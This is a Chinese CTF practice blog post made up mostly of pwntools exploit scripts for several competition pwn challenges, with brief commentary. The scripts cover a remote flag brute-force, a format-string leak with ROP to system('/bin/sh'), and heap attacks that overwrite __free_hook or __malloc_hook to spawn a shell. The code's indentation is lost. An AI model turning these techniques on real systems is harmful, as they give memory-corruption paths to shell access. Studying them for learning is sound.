本周是第六周了,继续佛系刷题,上周的红帽杯 pwn 题就 3 道,但是我第一道就不会,最后还是通过各种姿势了解到了怎么搞,神他妈爆破 pwn
from pwn import*
elf = ELF("./pwn")
context.log_level = "debug"
tmp=''
for j in range(0,32):
for i in range(33,127):
io = remote('47.104.190.38',12001)
io.recvuntil("Give me a index:\n")
pay = str(j)
io.sendline(pay)
io.recvuntil("Three is good number,I like it very much!\n")
payload = '\x8B\x01\xC3'
io.send(payload)
io.recvuntil("Leave you name of size:\n")
payload = '50'
io.sendline(payload)
io.recvuntil("Tell me:\n")
a = chr(i)
payload = a
io.send(payload)
if(io.recv()=='1\n'):
tmp+=chr(i)
io.close()
print tmp
说实话,我看这题一开始是一点思路没有,下面说一下我当时的心路历程
- 因为只能控制 3 个字节,就一直想着怎么跳转,但是 mmap 区域有点问题,而且短跳转没什么可以利用的,最多能跳到 vsdo 里边,走不通
- 然后就想着怎么通过 3 个字节比如 push 寄存器后 ret 的操作来整,发现也行不通,没什么可以利用的值
最后才注意到函数流程,原来判断还是有用的,其实还是想的太粗糙,就想 get shell ,其实 get flag 即可~~~~
v7 = v6(1);
if ( v5 == v7 )
result = sub_80506F0("1");
else
result = sub_80506F0("2");
其实回过头来看基本上就是告诉你了,就是爆破,奈何我直接忽略了后边的 if 语句~~~ 所以还是得多看题多总结啊,现在就深入总结以下本题逻辑
int sub_8048B5C()
{
int result; // eax
int v1; // ecx
int v2; // edx
unsigned int v3; // et1
int v4; // [esp+Ch] [ebp-1Ch]
int v5; // [esp+10h] [ebp-18h]
int (__cdecl *v6)(signed int); // [esp+14h] [ebp-14h]
int v7; // [esp+18h] [ebp-10h]
unsigned int v8; // [esp+1Ch] [ebp-Ch]
v8 = __readgsdword(0x14u);
sub_80506F0("Give me a index:");
v5 = sub_8048ADF(unk_80F6C80);
v6 = (int (__cdecl *)(signed int))sub_8071C50(0, 4096, 7, 34, 0, 0);
sub_80506F0("Three is good number,I like it very much!");
sub_8070EA0(0, v6, 3);
sub_80506F0("Leave you name of size:");
sub_804FCF0("%d", (unsigned int)&v4);
if ( v4 < 0 || v4 > 512 )
sub_804F260(0);
sub_80506F0("Tell me:");
sub_8070EA0(0, &unk_80F6CC0, v4 - 1);
v7 = v6(1);
if ( v5 == v7 )
result = sub_80506F0("1");
else
result = sub_80506F0("2");
v3 = __readgsdword(0x14u);
v2 = v3 ^ v8;
if ( v3 != v8 )
sub_8073110(v1, v2);
return result;
}
本题被 stripped 了,不过没事就基本用到了 3 4 个函数还是能分清的,所以直接把分析完的贴出来
int sub_8048B5C()
{
int result; // eax
int v1; // [esp+Ch] [ebp-1Ch]
int v2; // [esp+10h] [ebp-18h]
void *v3; // [esp+14h] [ebp-14h]
int v4; // [esp+18h] [ebp-10h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
puts("Give me a index:");
v2 = read_written_by_chutide(unk_80F6C80); //直接通过索引把 flag 对应内容读出来放 v2 上
v3 = (void *)mmap(0, 4096, 7, 34, 0, 0);
puts("Three is good number,I like it very much!");
read(0, v3, 3u);
puts("Leave you name of size:");
scanf("%d", &v1);
if ( v1 < 0 || v1 > 512 )
sub_804F260(0); //这个不太确定, exit ??没往下看,不太重要,知道限制范围就行
puts("Tell me:");
read(0, &unk_80F6CC0, v1 - 1);
v4 = ((int (__cdecl *)(signed int))v3)(1); //只有三个字节的函数怎么搞??返回值给 v4
if ( v2 == v4 ) //用爆破把它搞出来
result = puts("1");
else
result = puts("2");
if ( __readgsdword(0x14u) != v5 )
check_fail();
return result;
}
关键其实还是read(0, &unk_80F6CC0, v1 - 1);
这行,这个把 ecx 放上了 unk_80F6CC0 ,没清理掉,赶紧用上,把我们输进去即 [ecx]
放到 eax 假装当返回值,就是0: 8b 01 mov eax,DWORD PTR [ecx]
,再加个 ret 回去就完事了~~~ (狗头)
难受了这么简单的题怪我太粗心了~~ 顺便安利一个贼强的网站,能把汇编转为字节码 ,好用~~
第二道加 ollvm 了,不太会,第三个浏览器 pwn ,怎么搞~~~~
hitctf pwn1
from pwn import *
p= process('./pwn1')
elf = ELF("./pwn1", checksec=False)
libc = elf.libc
context.log_level = "debug"
p.sendafter("Input your name:\n","%17$p")
p.sendafter("Input the last six numbers of your ID card:\n","1"*0x20+p64(1))
p.sendlineafter("Your choice:","3")
p.sendlineafter("Do you want to change your ID number?","y\n")
p.sendafter("Input your cookie:\n","1\n")
p.recvuntil('0x')
libc.address = int(p.recvuntil('\n')[:-1], 16)-0x20830
#real = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))-0x20830
p.sendafter("Input your new ID number:\n","1"*0x20+p64(1))
p.sendlineafter("Your choice:","3")
binsh = libc.search("/bin/sh").next()
print binsh
system=libc.symbols['system']
p.sendlineafter("Do you want to change your ID number?","a"*0x28+p64(0x400DE3)+p64(binsh)+p64(system))
p.interactive()
我这个真是就看见一个洞,结果这个 printf(s2, &v1);
也是一个~~~ 太粗心了丫~~~
hitctf pwn2
from pwn import *
p = process('./pwn2',aslr=2)
elf = ELF("./pwn2", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def new(title,name,size,message):
p.sendafter('Input your choice:','1')
p.sendafter('title:\n',title)
p.sendafter('name:\n',name)
p.sendafter('message size:\n',str(size))
p.sendafter('message:\n',message)
def edit(ind,size,message):
p.sendafter('Input your choice:','2')
p.sendafter('Which one?\n',str(ind))
p.sendafter('message size:\n',str(size))
p.sendafter('new message:\n',message)
def show(ind):
p.sendafter('Input your choice:','3')
p.sendafter('Which one?\n',str(ind))
def free(ind):
p.sendafter('Input your choice:','4')
p.sendafter('Which one?\n',str(ind))
new('a','a',0x80,'a'*0x80)
new('b','b',1,'b')
edit(0,0x90,'1'*8)
new('d','d',0x80,'d'*8)
show(2)
p.recvuntil('Title: ')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))-0x3c4b64
print hex(leak)
new('a','a',0xf7,'a'*0x20)
edit(3,0xb8,'0')
new('d','d',1,'d')
edit(3,0xb8,'\x01'*0xc8+p64(0x31)*4+p64(libc.symbols['__free_hook'] + leak)+p64(81)*2)
one=leak+0x4526a
edit(4,0x51,p64(one))
free(0)
p.interactive()
找这个洞,花了五百万年,终于找到了,前后 5 个小时吧,服了,这题学了很多,明天写题解发先知!!
ddctf pwn
比较简单的,但是溢出不太常规,注意一下偏移直接 one_gadget 必定成功
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
#context.log_level = "debug"
p = process('./xpwn')
elf = ELF("./xpwn", checksec=False)
libc = elf.libc
p.recvuntil('Enter username: ')
p.send('a'*40)
p.recvuntil('a'*40)
stack = u32(p.recv(4))-72
libc = u32(p.recv(4))-417797
p.recvuntil('password: ')
p.send('-1')
p.recvuntil('): ')
one = libc+0x5fbc6
print hex(one)
p.send(p32(one)+p32(0)+'a'*60+p32(stack))
p.interactive()
没题做了,再做一遍今年信息安全 pwn
your_pwn
from pwn import *
p = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
p.recvuntil('name:')
p.sendline('test')
libc = ''
#context.log_level = "debug"
for i in range(637,631,-1):
p.recvuntil('index\n')
p.sendline(str(i))
p.recvuntil('hex) ')
tmp = p.recvuntil('\n')[:-1]
print tmp[-2:]
if len(tmp)<2:
tmp = '0'+tmp
libc+= tmp[-2:]
p.recvuntil('value\n')
p.sendline('0')
real = int(libc,16)-133168
print 'libc==>'+str(hex(real))
one = real+0x45216
print hex(one)
gdb.attach(p)
for i in range(0,6):
p.recvuntil('index\n')
p.sendline(str(i+344))
p.recvuntil('hex) ')
tmp = p.recvuntil('\n')[:-1]
p.recvuntil('value\n')
p.sendline(str(ord(p64(one)[i])))
p.sendline('a')
p.recv()
p.interactive()
daily
from pwn import *
p = process('./daily',aslr=2)
elf = ELF("./daily", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def show():
p.sendafter('choice:','1')
def new(length,message):
p.sendafter('choice:','2')
p.sendafter('daily:',str(length))
p.sendafter('Now you can write you daily\n',message)
def edit(ind,message):
p.sendafter('choice:','3')
p.sendafter('daily:',str(ind))
p.sendafter('Please enter the new daily\n',message)
def free(ind):
p.sendafter('choice:','4')
p.sendafter('daily:',str(ind))
new(0x60,'a')
new(0x60,'a')
new(0x80,'a')
new(0x80,'a')
free(1)
free(0)
new(0x60,'a')
show()
p.recvuntil('0 : ')
heap = u64(p.recvuntil('2')[:-1].ljust(8,"\x00"))-0x61
print hex(heap)
free(2)
new(0x80,'a')
show()
p.recvuntil('1 : ')
leak = u64(p.recvuntil('3')[:-1].ljust(8,"\x00"))-0x61-3951360
free_hook=libc.symbols['__free_hook'] + leak
sys=libc.symbols['system'] + leak
print hex(leak)
print hex(free_hook)
edit(0,'a'*8+p64(heap+0x10))
a =(heap+0x10-0x602060)/16
free(a)
new(0x71,'a')
edit(0,p64(0x602078))
new(0x60,'/bin/sh')
new(0x60,p64(free_hook))
edit(2,p64(sys))
free(0)
#gdb.attach(p)
p.interactive()
深入学习大佬姿势,好骚好骚,第一次接触这种不限制 free 范围的
double
from pwn import *
p = process('./double',aslr=2)
elf = ELF("./double", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
context.log_level = "debug"
def new(message):
p.sendlineafter('> ','1')
p.sendlineafter('Your data:\n',message)
def show(ind):
p.sendlineafter('> ','2')
p.sendlineafter('Info index: ',str(ind))
def edit(ind,message):
p.sendlineafter('> ','3')
p.sendlineafter('Info index: ',str(ind))
p.sendline(message)
def free(ind):
p.sendlineafter('> ','4')
p.sendlineafter('Info index: ',str(ind))
new('0'*0x80)
new('0'*0x80)
free(1)
show(0)
leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))
real = leak-3951480
print hex(leak)
mall = leak-88-16-0x23
print hex(mall)
new('2'*0x60)
new('2'*0x60)
new('2'*0x60)
free(3)
edit(2,p64(mall))
new('6'*0x60)
one = real+0x4526a
new('a'*0x13+p64(one)+'0'*(0x60-0x13-8))
p.sendlineafter('> ','1')
p.interactive()
一开始没看懂这题